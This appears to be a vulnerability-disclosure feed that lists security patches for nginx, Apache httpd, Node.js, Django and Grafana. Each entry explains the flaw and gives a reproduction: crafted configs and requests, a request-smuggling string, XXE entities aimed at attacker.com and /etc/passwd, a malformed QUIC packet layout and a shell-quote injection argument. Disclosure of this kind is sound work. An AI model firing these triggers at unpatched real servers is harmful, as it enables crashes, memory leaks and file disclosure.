“Exposing patches before CVEs since 2025”
Wednesday, August 12, 2026
Jul 17, 2026, 12:12 PM — apache/httpd
Commit: 22dc622fc5c1cefcca4a889560ccc08a0592d2a4
Author: Joe Orton
When mod_remoteip processes a PROXY protocol v2 header with the LOCAL command, it returned without setting conn_conf->client_addr and client_ip, leaving them NULL. Later code that assumes these fields are populated (mirroring the v1 UNKNOWN path which was already fixed) would then dereference the NULL pointer, crashing the worker process. This is remotely triggerable by any client permitted to send a PROXY protocol header with the LOCAL command to a server with RemoteIPProxyProtocol enabled.
switch (hdr->v2.ver_cmd & 0xF) {
case 0x00: /* LOCAL command */
/* keep local connection address for LOCAL */
return HDR_DONE;
Connect to an Apache httpd server with mod_remoteip's RemoteIPProxyProtocol enabled, and send a PROXY protocol v2 header with the LOCAL command byte (ver_cmd & 0xF == 0x00), e.g. raw bytes: '\r\n\r\n\x00\r\nQUIT\n' (v2 signature) followed by version/command byte 0x20 (v2, LOCAL) and a zero length, then proceed with an HTTP request. Because client_addr/client_ip remain NULL after processing, subsequent code paths that read c->client_ip or conn_conf->client_addr will dereference NULL, crashing the httpd worker process (Denial of Service).
Jul 16, 2026, 07:27 PM — nginx/nginx
Commit: fc9749b4170d493868dfaf44411d8fd9325d2f47
Author: Vadim Zhestikov
When xmlCreatePushParserCtxt() fails to allocate a parser context (e.g., under memory pressure), ngx_http_xslt_add_chunk() returns NGX_ERROR without setting ctx->ctxt, but the caller ngx_http_xslt_body_filter() still dereferences ctx->ctxt->myDoc on the error path, causing a NULL pointer dereference and worker process crash. The patch adds a check for ctx->ctxt == NULL before dereferencing it, avoiding the crash and gracefully sending the response.
if (ngx_http_xslt_add_chunk(r, ctx, cl->buf) != NGX_OK) {
if (ctx->ctxt->myDoc) {
#if (NGX_HTTP_XSLT_REUSE_DTD)
...
Trigger memory allocation failure during libxml2 push parser context creation (e.g., by exhausting worker memory via many concurrent XSLT-filtered requests with large bodies) so that xmlCreatePushParserCtxt() returns NULL inside ngx_http_xslt_add_chunk(). The subsequent access to ctx->ctxt->myDoc in ngx_http_xslt_body_filter()'s error path dereferences a NULL pointer, crashing the nginx worker process and causing a denial of service for all connections handled by that worker.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: b767540492e8c79a58bc26034d3bab2f708b7bd1
Author: Maxim Dounin
The nginx script engine (used for rewrite, map, set directives and complex value evaluation) computed the required buffer length in a first pass and then wrote data in a second pass without re-checking bounds. When variables with side effects (e.g., regex captures modifying other variables) or non-cacheable/volatile variables were evaluated, the length computed in the length-pass could become smaller than the actual data written in the copy-pass, causing a heap buffer overflow. This is exploitable via crafted configurations combining map/set with capturing regexes and volatile variables, which can be triggered by attacker-controlled request data (URI, headers) matched against the regex.
e.ip = val->values;
e.pos = value->data;
e.buf = *value;
while (*(uintptr_t *) e.ip) {
code = *(ngx_http_script_code_pt *) e.ip;
code((ngx_http_script_engine_t *) &e);
}
Configure nginx with:
map $uri $map {
~(?<capture>.*) $capture;
}
set $capture "";
set $temp "$capture $map";
Send a request with a URI whose length triggers a mismatch between the length-computation pass (using old $capture value) and the copy pass (using the value set by the map block, which mutates $capture as a side effect). This causes the second pass to write more bytes than allocated, overflowing the heap buffer allocated for $temp. Similarly, using a volatile variable like:
map prefix:$capture $map_volatile {
volatile;
~(?<capture>.*) $capture;
}
set $capture "";
set $temp "$map_volatile";
can cause the variable's length to differ between the length and copy phases (since it's re-evaluated non-cacheably), leading to the same heap overflow when e.g. an attacker sends a request whose URI capture group value changes in length between evaluations.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: a8289aa69c74f7e664ad63b91c17aa2a554f190f
Author: Roman Arutyunyan
The nginx script engine predicted a maximum length for computed variables/rewrite results (based on regex capture group max sizes) but the actual output could be shorter, especially with variable-length regex captures. The code returned the full predicted-length buffer without truncating to actual written length, leaking uninitialized (garbage) heap memory bytes to clients in HTTP responses via variables set by 'set', 'return', or map directives using regex captures.
value->len = len; value->data = ngx_pnalloc(r->pool, len); ... code((ngx_http_script_engine_t *) &e); ... *value = e.buf; // buf.len is the predicted max length, not actual written length
Configure:
map $uri $foo {
~^/(?<bar>[0-9]).*$ $bar;
}
location ~(?<bar>[0-9]*)[a-z]*$ {
return 200 $1:$foo;
}
Then request: GET /1234abcd
The response body will contain the expected short digits/colon but with trailing uninitialized heap bytes appended, since the predicted length (based on the regex's maximum possible capture size) exceeds the actual matched substring length, and the buffer isn't truncated to reflect the real written size — leaking adjacent heap memory content to the client.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: 0cca8e055a2d909f1a00c2071665b502ec2fe94c
Author: Pavel Pautov
When ngx_http_regex_exec() reallocates r->captures because the previous buffer was too small or marked for reallocation, it failed to reset r->ncaptures to 0 when the regex subsequently did not match. This left r->ncaptures referencing stale capture indices from a prior (larger) match, so later code reading $1, $2, etc. would read uninitialized or out-of-bounds memory from the newly allocated (and not fully populated) captures array, potentially leaking sensitive heap memory into response headers or bodies.
if (r->captures == NULL || r->realloc_captures) {
r->realloc_captures = 0;
r->captures = ngx_palloc(r->pool, len * sizeof(int));
...
}
// r->ncaptures not reset when regex doesn't match
Using the provided nginx config:
map test $my_map {
volatile;
~mismatch(.*) 1; # triggers realloc of r->captures in subrequest, regex fails to match
default "";
}
server {
location ~(.*) { # sets r->ncaptures with a real match
slice 50;
proxy_set_header Test $my_map$1; # $1 reads r->captures using stale r->ncaptures from before realloc
proxy_set_header Range $slice_range;
proxy_pass http://backend;
}
}
Sending a request that triggers the slice module to create subrequests causes ngx_http_regex_exec() to run the $my_map regex (which doesn't match, reallocating r->captures without resetting r->ncaptures). The subsequent evaluation of $1 in proxy_set_header Test then reads uninitialized/stale memory from the reallocated captures array, potentially leaking process memory contents into the proxied Test header sent to the backend.
Jul 15, 2026, 03:51 PM — nginx/nginx
Commit: 700dc9e0e750e3f63587f9d0f9f36bae5ec47202
Author: Roman Arutyunyan
A subrequest that gets posted twice (once via ngx_http_subrequest() and again via ngx_http_postpone_filter() during unbuffered proxying with SSI includes) could be finalized twice, causing r->main->count to be decremented excessively. This reference-count corruption can lead to premature freeing of the request/pool while it is still referenced elsewhere, resulting in a use-after-free that could be leveraged for memory corruption or worker process crashes (DoS), and potentially further exploitation.
for (p = &r->main->posted_requests; *p; p = &(*p)->next) { /* void */ }
*p = pr;
... r->main->count--; ... (no reset of write_event_handler)
Configure nginx with SSI enabled and an SSI page containing two <!--#include--> directives where the included subrequests are proxied to an upstream with unbuffered proxying (proxy_buffering off) enabled, e.g.:
location /page.shtml { ssi on; }
location /sub1 { proxy_pass http://backend1; proxy_buffering off; }
location /sub2 { proxy_pass http://backend2; proxy_buffering off; }
page.shtml:
<!--#include virtual="/sub1" -->
<!--#include virtual="/sub2" -->
When the main request has data postponed by one include while another subrequest is created, and the backend for the second subrequest sends its response quickly (before the postponed data is flushed), the postpone filter will post the same subrequest a second time. This double posting causes ngx_http_finalize_request to be called twice for the same subrequest, decrementing r->main->count twice and leading to use-after-free of the main request structure, crashing the worker process or potentially being exploited for further memory corruption.
Jul 15, 2026, 02:37 PM — nginx/nginx
Commit: d798231b56bb4a6284999e3b868b503c4a7ee8d3
Author: Roman Arutyunyan
Before the patch, nginx computed r->keepalive based on Connection header even for HTTP CONNECT requests, allowing the underlying connection to be treated as reusable for further HTTP request processing after a CONNECT tunnel was established. Since data sent by the client after the CONNECT blank line is meant to be tunneled (per RFC 2817), enabling keepalive could cause nginx to misinterpret tunneled bytes as pipelined HTTP requests, leading to request smuggling/desync between the client and backend.
switch (r->headers_in.connection_type) {
case 0:
r->keepalive = (r->http_version > NGX_HTTP_VERSION_10);
break;
case NGX_HTTP_CONNECTION_KEEP_ALIVE:
r->keepalive = 1;
break;
}
Send: `CONNECT backend:443 HTTP/1.1\r\nHost: backend\r\nConnection: keep-alive\r\n\r\nGET /admin HTTP/1.1\r\nHost: victim\r\n\r\n` — with keepalive enabled after CONNECT, nginx may treat the trailing `GET /admin` as a new pipelined request on the same connection instead of purely tunneled data, enabling smuggling of a second request that bypasses intended request boundaries.
Jul 15, 2026, 10:06 AM — nginx/nginx
Commit: a6a942fd6a7e18cc168a4c0281118d08181d668f
Author: Maxim Dounin
The Perl module's sleep() and has_request_body() XS functions called SvRV() on the handler argument without checking whether it was actually a reference to a code value (SVt_PVCV). If a script passed a non-reference (e.g., a plain string) as the handler, SvRV() would dereference invalid memory, causing a segmentation fault and crashing the worker process. This is exploitable by any nginx configuration or perl script that accepts external input as the handler argument, leading to a denial of service.
ctx->next = SvRV(ST(1)); // has_request_body ... ctx->next = SvRV(ST(2)); // sleep
In an nginx perl handler script:
$r->has_request_body("not_a_coderef");
or
$r->sleep(1000, "not_a_coderef");
Passing a plain scalar string instead of a code reference as the handler argument causes SvRV() to dereference an invalid pointer, crashing the nginx worker process with a segmentation fault (DoS).
Jul 15, 2026, 10:06 AM — nginx/nginx
Commit: d9b7669666c8acaf9ec109ce6c2f16011a5a3762
Author: Maxim Dounin
The nginx perl module relied on SvREADONLY() to decide whether to zero-copy a Perl SV's buffer directly into an nginx buffer or ngx_str_t without incrementing its reference count. When the SV came from a short-lived context (e.g. within an eval block), Perl could free or reuse the underlying string memory after the eval scope ended but before nginx finished using the buffer, resulting in a heap use-after-free when the freed memory is later read (e.g. during response output or in the sleep/has_request_body deferred handler paths). This is remotely triggerable by any config that embeds perl handlers using eval-created strings/subs.
if (SvREADONLY(sv) && SvPOK(sv)) {
s->data = p;
return NGX_OK;
}
... (also in print(): zero-copy without refcount for SvREADONLY sv)
nginx.conf:
location / {
perl 'sub {
my $r = shift;
$r->send_http_header;
eval q!$r->print("it works")!;
return OK;
}';
}
Requesting this location causes $r->print to store a raw pointer into the temporary SV created inside the eval block. Once eval returns, Perl frees/reuses the SV's PV buffer, and nginx later reads this freed memory while sending the response body, producing a heap use-after-free (observed as corrupted output or crash).
Jul 15, 2026, 10:06 AM — nginx/nginx
Commit: cf94d5691a895994714efc288e07b3fec3af5089
Author: Maxim Dounin
The nginx Perl module allowed Perl scripts to retain and reuse stale request objects across requests, or to bless arbitrary Perl scalars into the 'nginx' package, causing ngx_http_perl_set_request to dereference freed or attacker-controlled memory as an ngx_http_perl_ctx_t pointer. This can lead to segmentation faults (DoS) or potentially memory corruption/RCE if the freed memory is reused with attacker-controlled content. The patch adds validation via a global active-context pointer, ensuring only the currently active request context can be used.
#define ngx_http_perl_set_request(r, ctx) \
ctx = INT2PTR(ngx_http_perl_ctx_t *, SvIV((SV *) SvRV(ST(0)))); \
r = ctx->request
Configure nginx with a Perl handler that stashes the request object across invocations:
location /stale {
perl 'sub {
my $r = shift;
$prev->log_error(0, "next request arrived") if $prev;
$prev = $r;
$r->send_http_header;
return OK;
}';
}
Send two successive HTTP requests to /stale. On the second request, $prev (from the first, now-completed and freed request) is used, causing ngx_http_perl_set_request to dereference a freed ngx_http_perl_ctx_t and crash the worker process (segfault). Alternatively:
location /bless {
perl 'sub {
my $v = 10;
my $r = bless \$v, "nginx";
$r->send_http_header;
return OK;
}';
}
A request to /bless creates a fake 'nginx'-blessed object from an arbitrary scalar, and calling $r->send_http_header treats the scalar's integer value as a pointer to ngx_http_perl_ctx_t, causing a segmentation fault or memory corruption.
Jul 14, 2026, 04:35 PM — grafana/grafana
Commit: a914b350118c7bcf76d6a1ae3a7df490fab1837d
Author: Sergej-Vlasov
The v14→v16 dashboard schema migration's getPanelPosition function recursed unconditionally when a panel could not fit into the row's grid area. A legacy row panel with a span greater than 12 produces a panelWidth larger than the 24-column grid, meaning it can never satisfy the fit check, causing infinite recursion and a stack overflow that crashes the Grafana backend process. The patch restores a callOnce guard so the function wraps to the next row at most once before returning nil instead of recursing forever.
// Wrap to next row r.yPos += r.height r.reset() return r.getPanelPosition(panelHeight, panelWidth)
Import or migrate a dashboard JSON with schemaVersion 15 containing a row panel like:
{"rows": [{"panels": [{"id": 2, "type": "table", "span": 24, "title": "Clusters"}]}]}
When the backend runs the V16 migration on this dashboard, getPanelPosition recurses indefinitely (since panelWidth=48 > gridColumnCount=24 can never fit), causing a stack overflow and crashing the Grafana process — a remotely triggerable Denial of Service via dashboard import/migration.
Jul 14, 2026, 12:38 PM — nginx/nginx
Commit: 44c66e92c88bf2367dd31efc9d5843c0838d11f2
Author: Zhidao HONG
When parsing HTTP/2 (gRPC) and proxy-v2 response headers, the code computed ctx->name.len/ctx->value.len from the HPACK-encoded field length (including a x8/5 expansion for Huffman-coded data) and passed it directly to ngx_pnalloc without validating it against the configured upstream buffer_size. A malicious or compromised upstream server could send crafted HEADERS frames with very large field lengths, causing nginx to allocate large amounts of request-pool memory per header field and across many fields in a header block, leading to excessive memory consumption and potential denial of service. The patch adds explicit checks that reject name/value lengths exceeding upstream->conf->buffer_size before allocation, and maintains a decreasing header_limit counter across the whole header block to bound total memory used per HEADERS frame.
ctx->name.len = ctx->field_huffman ?
ctx->field_length * 8 / 5 : ctx->field_length;
ctx->name.data = ngx_pnalloc(r->pool, ctx->name.len + 1);
... (same pattern for ctx->value.len allocation, no size check against buffer_size)
An attacker controlling or spoofing the gRPC/HTTP2 upstream sends a HEADERS frame whose HPACK-encoded literal header field declares an extremely large string length (e.g., close to the max representable in the varint, or crafted so that field_length * 8/5 yields a huge value) for a header name or value. Since nginx used this attacker-controlled length directly in ngx_pnalloc(r->pool, len+1) without comparing it to upstream buffer_size, repeated such headers in one HEADERS frame could force nginx worker processes to allocate large amounts of pool memory per request, exhausting memory when many such requests/connections are made, resulting in a denial-of-service condition on the nginx server acting as a reverse proxy to that upstream.
Jul 13, 2026, 05:49 PM — nginx/nginx
Commit: 017dbad85610c0f267cb65ab99907b655be159e1
Author: Maxim Dounin
The XSLT filter module parsed backend XML responses with XML_PARSE_NOENT enabled but without XML_PARSE_NONET, allowing external general entities declared in the internal DTD subset (e.g. SYSTEM "http://...") to be resolved over the network during parsing. Since XML parsing happens synchronously in the nginx worker process, a malicious or compromised backend response could cause the worker to block for a long time fetching a remote/slow resource, resulting in a denial-of-service condition, or be used for SSRF-style network requests from the server. The fix adds XML_PARSE_NONET to the parser options, disabling network-based resolution of external entities.
xmlCtxtUseOptions(ctxt, XML_PARSE_NOENT|XML_PARSE_DTDLOAD
|XML_PARSE_NOWARNING);
ctxt->sax->externalSubset = ngx_http_xslt_sax_external_subset;
A backend response processed by ngx_http_xslt_filter_module contains: <?xml version="1.0"?> <!DOCTYPE d [ <!ENTITY x SYSTEM "http://attacker.com/slow-endpoint"> ]> <d>&x;</d> When nginx's XSLT filter parses this document with XML_PARSE_NOENT set, libxml2 attempts to resolve the external entity 'x' over the network to attacker.com, which can be made to respond slowly or hang, blocking the nginx worker process handling the request until the connection times out (DoS). On libxml2 builds/versions where network loading is not restricted by default, this also enables SSRF-like requests originating from the server.
Jul 13, 2026, 05:49 PM — nginx/nginx
Commit: 4d0e620f9ad4e81dc229ca423fbbf3c2e23b3f83
Author: Maxim Dounin
The nginx XSLT filter module parsed untrusted upstream XML with XML_PARSE_NOENT | XML_PARSE_DTDLOAD without restricting external general entity resolution declared in the internal DTD subset. An attacker who can influence the XML response body could declare an entity with a SYSTEM identifier pointing to a local file or (on network-enabled libxml2 builds) a remote URL, causing the worker process to read arbitrary local files or make outbound network requests, potentially leading to information disclosure or SSRF, and even worker blocking via slow network fetches.
ctxt->options = (XML_PARSE_NOENT|XML_PARSE_DTDLOAD
|XML_PARSE_NONET|XML_PARSE_NOWARNING);
ctxt->sax->externalSubset = ngx_http_xslt_sax_external_subset;
/* no entityDecl hook to strip SYSTEM ids from internal subset entities */
Send an XML response to be processed by the xslt filter containing: <?xml version="1.0"?> <!DOCTYPE d [ <!ENTITY x SYSTEM "file:///etc/passwd"> ]> <root>&x;</root> Before the patch, libxml2 would expand &x; and include the contents of /etc/passwd (or fetch a URL like http://internal-host/) into the parsed document, which could then be reflected in the XSLT-transformed output or cause SSRF/blocking behavior.
Jul 7, 2026, 01:30 PM — nodejs/node
Commit: 2e8f4d7ad214332538ca9eed52269c92dfced8db
Author: Efe
When a unidirectional QUIC stream is created without a registered 'onstream' handler, JavaScript synchronously destroys the stream object, but native code (DefaultApplication) continues to access the now-destroyed Stream object, causing a use-after-free crash. Additionally, Session::Impl destructor called endpoint->RemoveSession() before releasing arena slots, allowing the last reference to the Session to be dropped and then having session_->env() accessed afterward, also a use-after-free. Both are remotely triggerable by any QUIC peer opening a unidirectional stream when no onstream handler is registered.
stream = BaseObjectPtr<Stream>(Stream::From(stream_user_data)); // ... no check for is_destroyed() before continuing to use `stream` // session.cc destructor: endpoint->RemoveSession(config_.scid, remote_address_); auto& binding = BindingData::Get(env()); if (stats_slot_) GetSessionStatsArena(binding).ReleaseSlot(stats_slot_);
A remote QUIC client connects to a Node.js QUIC server (or vice versa) that has not registered an 'onstream' event handler, then opens a unidirectional stream and sends data, e.g.:
const session = await connect(serverAddr, { alpn: 'repro' });
await session.opened;
await session.createUnidirectionalStream({ body: 'trigger crash' });
On the receiving side (no onstream handler registered), the JS layer synchronously destroys the stream object upon creation event since there is no handler, but the native DefaultApplication code keeps using the freed Stream pointer while processing incoming stream data, causing a crash (denial of service) or potentially exploitable memory corruption due to use-after-free.
Jul 7, 2026, 03:30 AM — django/django
📈 Patch landed 12 hours 2 minutes before CVE published
Commit: 3a720d0d8bf2529253b98968f10ca73daf6d693c
Author: Natalia
DomainNameValidator's regex used `$` instead of `\\Z` as the end anchor, which in Python regex matches before a trailing newline. This allowed strings like 'example.com\\n' to pass validation as a valid domain name, potentially enabling HTTP header/CRLF injection if such validated values were later embedded into HTTP headers or other newline-sensitive contexts outside Django's form fields.
self.regex = _lazy_re_compile(
r"^" + self.hostname_re + self.domain_re + self.tld_re + r"$",
re.IGNORECASE,
)
from django.core.validators import DomainNameValidator
validator = DomainNameValidator()
validator('example.com\n') # Does NOT raise ValidationError before the patch, allowing a newline-terminated domain to pass validation and potentially be injected into an HTTP header (e.g., Host or Location) causing CRLF injection/header splitting in custom code that trusts this validator.
Jul 7, 2026, 03:30 AM — django/django
📈 Patch landed 12 hours 2 minutes before CVE published
Commit: 6ca2bbe2efce21010eff48f1f36a3f621d698ed8
Author: Jacob Walls
When constructing a GDALRaster from a bytes object, the code used sys.getsizeof() to determine the buffer size, which includes CPython's PyBytesObject overhead (~32-49 bytes) rather than the actual data length. This caused GDAL to read past the end of the allocated buffer into adjacent heap memory when accessing the vsi_buffer property, potentially disclosing sensitive heap memory contents or causing a crash.
size = sys.getsizeof(ds_input) # Pass data to ctypes, keeping a reference to the ctypes object so # that the vsimem file remains available until the GDALRaster is # deleted. self._ptr_buffer = c_buffer(ds_input, size)
from django.contrib.gis.gdal.raster.source import GDALRaster
rst_bytes = open('raster.tif','rb').read()
vsimem = GDALRaster(rst_bytes)
# vsimem.vsi_buffer will be longer than len(rst_bytes) due to sys.getsizeof() including PyBytesObject overhead (~32 bytes), exposing adjacent heap memory:
assert len(vsimem.vsi_buffer) != len(rst_bytes) # over-read demonstrated
Jul 7, 2026, 03:30 AM — django/django
📈 Patch landed 12 hours 2 minutes before CVE published
Commit: 6e365f8d01f2ba0bbd90968d76a42600fb8bc4b1
Author: Natalia
UpdateCacheMiddleware only skipped caching Set-Cookie responses varying on Cookie when the incoming request had zero cookies, so a request carrying any unrelated cookie (e.g., a language preference) bypassed the protection. This allowed a response that issues a new session or CSRF cookie to be stored in Django's shared cache and served to other users, leaking session cookies via a shared cache hit. The patch removes the 'no cookies at all' condition, always skipping caching when a response sets a cookie and varies on Cookie.
if (
not request.COOKIES
and response.cookies
and has_vary_header(response, "Cookie")
):
return response
1. Client sends GET /view/ with Cookie: unrelated=value (e.g. a language preference cookie). 2. Server (via CsrfViewMiddleware or session middleware) responds with Set-Cookie: csrftoken=NEW_SECRET and Vary: Cookie. 3. Because request.COOKIES is non-empty (contains 'unrelated'), the old guard 'not request.COOKIES' is False, so the response is cached under UpdateCacheMiddleware with a cache key derived from the Cookie header value 'unrelated=value'. 4. A different client sending the same Cookie: unrelated=value header (trivial to guess/share) receives the cached response and thus the first client's freshly issued session/CSRF cookie, allowing session fixation/hijacking.
Jul 7, 2026, 02:58 AM — nodejs/node
Commit: d7aca7e158b37b1a357cbd6d81f6d2454d07e3ef
Author: Tim Perry
The QUIC session's `closed` promise was not marked as handled before being rejected on error close, unlike the `opened` promise. If an application does not synchronously attach a handler to `session.closed`, a remote peer can trigger an error close (e.g., via a QUIC error code on connection close), causing an unhandled promise rejection that crashes the Node.js process by default, since Node exits on unhandled rejections unless configured otherwise.
if (error) {
// If the session is still waiting to be closed, and error
// is specified, reject the closed promise.
inner.pendingClose.reject?.(error);
} else {
1. Start a QUIC server that accepts sessions but does not attach a handler to `session.closed` synchronously.
2. As a remote client, connect and then call `clientSession.close({ code: 1 })` to trigger an error-coded close.
3. On the server, the session's `closed` promise rejects but is unobserved, triggering Node's default `unhandledRejection` handler, which terminates the process — allowing any remote client to crash the server.
Jul 6, 2026, 03:15 PM — nodejs/node
Commit: 1e14be8f786321ce9c215b96d2dbf92394749515
Author: Ic3b3rg
BrotliCompress/BrotliDecompress.flush(kind) forwarded any user-supplied value directly to the native brotli encoder/decoder without validating it was within the valid brotli operation range \[0,3\]. Passing an out-of-range value such as Z_FINISH (4) or Z_BLOCK causes the native layer to spin at 100% CPU indefinitely, allowing an attacker who controls the flush argument (e.g., in a server that exposes stream flushing based on user input) to cause a denial of service. The patch validates the kind against the brotli bound range and throws ERR_OUT_OF_RANGE for invalid values.
ZlibBase.prototype.flush = function(kind, callback) {
...
if (this.writableFinished) {
if (callback)
process.nextTick(callback);
} else if (this.writableEnded) {
...
} // kind forwarded to native layer without range validation
const zlib = require('zlib');
const c = zlib.createBrotliCompress();
c.flush(zlib.constants.Z_FINISH); // value 4, outside brotli's valid [0,3] range
// Before the patch: process spins at 100% CPU indefinitely (hang), causing a DoS.
// After the patch: throws RangeError [ERR_OUT_OF_RANGE]: The value of "kind" is out of range.
Jul 6, 2026, 02:05 PM — nodejs/node
Commit: 8a84e6be900edfb5764e4ec9acff0c0b0c4d8f34
Author: ympark2011
The inspector's ProtocolHandler::WriteRaw() dereferenced the tcp_ pointer without checking for null. When a remote debugger client disconnects, OnEof() resets tcp_ to nullptr, but queued write requests scheduled via uv_async callbacks or triggered during ParseWsFrames() processing could still invoke Write()/WriteRaw() afterward, causing a crash (EXCEPTION_ACCESS_VIOLATION) due to null pointer dereference. This is remotely triggerable by a debugger client that connects to the Node.js inspector port and disconnects at a specific time while messages are still queued or being processed, resulting in a denial-of-service crash of the Node.js process.
int ProtocolHandler::WriteRaw(const std::vector<char>& buffer,
uv_write_cb write_cb) {
return tcp_->WriteRaw(buffer, write_cb);
}
1. Start Node.js with --inspect to expose the debugger websocket. 2. Connect a WebSocket client to the inspector endpoint. 3. Send a compressed or malformed frame that triggers OnEof() internally during ParseWsFrames() processing (e.g., a frame with an unsupported compression extension flag), while also queuing an outgoing message (e.g., inspector protocol response) via the uv_async mechanism on the same event loop iteration. 4. Alternatively, abruptly disconnect the TCP connection (close socket) right after sending a request that causes the server to queue a response, so OnEof() resets tcp_ to nullptr before the async write callback fires. 5. The subsequent call to WsHandler::Write() -> ProtocolHandler::WriteRaw() dereferences the null tcp_ pointer (tcp_->WriteRaw(...)), causing an EXCEPTION_ACCESS_VIOLATION crash and terminating the Node.js process (DoS).
Jul 6, 2026, 12:51 PM — apache/httpd
Commit: 584eb25bd111248db000346a3b680e363a87723e
Author: Joe Orton
When AuthDigestNonceLifetime is 0 (one-time-nonce mode) and no shared-memory counter was available, mod_auth_digest fell back to using the constant value 42 as the nonce time component instead of an incrementing counter. This makes the one-time-nonce completely predictable and identical across requests, allowing an attacker to reuse or forge nonces and replay digest authentication challenges, defeating the anti-replay protection the one-time-nonce mechanism is meant to provide.
else if (otn_counter) {
t.time = (*otn_counter)++;
}
else {
/* XXX: WHAT IS THIS CONSTANT? */
t.time = 42;
}
On a non-shmem build (or one where otn_counter allocation failed) with AuthDigestNonceLifetime set to 0, every generated nonce would embed the constant time value 42 instead of a monotonically increasing counter. An attacker could capture a single valid Digest Authorization header (including nonce and nc) and replay it against the server repeatedly, since the server would generate/accept nonces that are not actually unique per request, undermining the one-time-nonce replay protection (e.g., replaying `Authorization: Digest ... nonce="<base64 of 42>..." nc=00000001 ...` multiple times).
Jul 6, 2026, 12:40 PM — nodejs/node
Commit: 9548cbcbe75be66f3c1b46397f3467acf8538836
Author: Mohamed Sayed
When decoding a QUIC long-header packet with an unsupported version, ngtcp2_pkt_decode_version_cid() returns raw, unclamped DCID/SCID length fields from the wire (up to 255 bytes) instead of enforcing NGTCP2_MAX_CIDLEN (20). Endpoint::Receive() constructed CID objects directly from these lengths in the NGTCP2_ERR_VERSION_NEGOTIATION branch before the existing length check (which only applied to the supported-version path), causing a write past the fixed 20-byte ngtcp2_cid buffer and triggering an assertion abort, crashing the process. A single unauthenticated UDP datagram sent to any QUIC endpoint before handshake completion could remotely crash the server.
case NGTCP2_ERR_VERSION_NEGOTIATION: // ... builds CID objects using pversion_cid.dcidlen / scidlen // (no length check before construction, unlike the supported-version path)
Craft a UDP datagram of at least 1200 bytes with a QUIC long-header: byte0=0xc0 (long header + fixed bit), bytes1-4=0x0a0a0a0a (unsupported version), byte5=21 (DCID length > NGTCP2_MAX_CIDLEN of 20), followed by 21 arbitrary DCID bytes, then a SCID length byte, and padding to 1200 bytes. Sending this single packet via UDP to a listening node:quic endpoint causes ngtcp2_pkt_decode_version_cid() to report dcidlen=21, which Endpoint::Receive() uses to construct a CID backed by a 20-byte buffer, triggering assert(datalen <= NGTCP2_MAX_CIDLEN) in ngtcp2_cid_init() and aborting the Node.js process — a remote unauthenticated crash (DoS).
Jul 4, 2026, 08:56 AM — nodejs/node
Commit: e76c573e4546ce9e89e0dd954f80aaba32148a48
Author: Antoine du Hamel
The `EscapeShell` function in Node.js task runner incorrectly escaped single quotes in shell arguments on Unix systems by replacing `'` with `\\'`, which does not properly terminate and re-enter single-quoted strings in POSIX shells. This caused shell syntax errors and could allow arguments containing single quotes to break out of the intended quoting context, potentially enabling command injection when passing positional arguments with single quotes to `node --run`. The fix replaces the broken `\\'` approach with the correct `'"'"'` technique (end single-quote, literal single-quote via double-quotes, restart single-quote).
std::string escaped =
std::regex_replace(std::string(input), std::regex("'"), "\\'");
node --run myscript -- "I think therefore I'm" # Before patch: /bin/sh receives: -c 'script I think therefore I\'m' # The backslash does NOT escape the single quote inside single-quoted strings in POSIX sh, # causing: unexpected EOF while looking for matching `'` syntax error. # A malicious argument like: foo' ; malicious_command ; ' # would result in: -c 'escaped_cmd foo\' ; malicious_command ; \'' # which after shell processing executes: malicious_command
Jul 3, 2026, 05:59 PM — nginx/nginx
Commit: 29c23ad846787e8baa1390b2edca479eb63ea8d7
Author: Sergey Kandaurov
When a `charset_map` directive was configured with `utf-8` in the first column (source charset), nginx would immediately segfault upon processing requests. The charset module was never designed to handle UTF-8 as the source charset in a charset_map, and accessing the tables in this configuration caused a null pointer dereference. The patch adds a configuration-time check that rejects this invalid configuration with an error, preventing the crash.
table = mcf->tables.elts;
for (i = 0; i < mcf->tables.nelts; i++) {
if ((src == table->src && dst == table->dst)
// No check for utf-8 in first column before this point
In nginx.conf, add:
charset_map utf-8 windows-1251 {
D0B0 E0;
}
charset utf-8;
source_charset windows-1251;
Then start nginx and send any HTTP request to the configured location. Nginx worker process will segfault immediately when processing the charset conversion, causing a denial of service. The crash is reproducible and deterministic based on the configuration alone.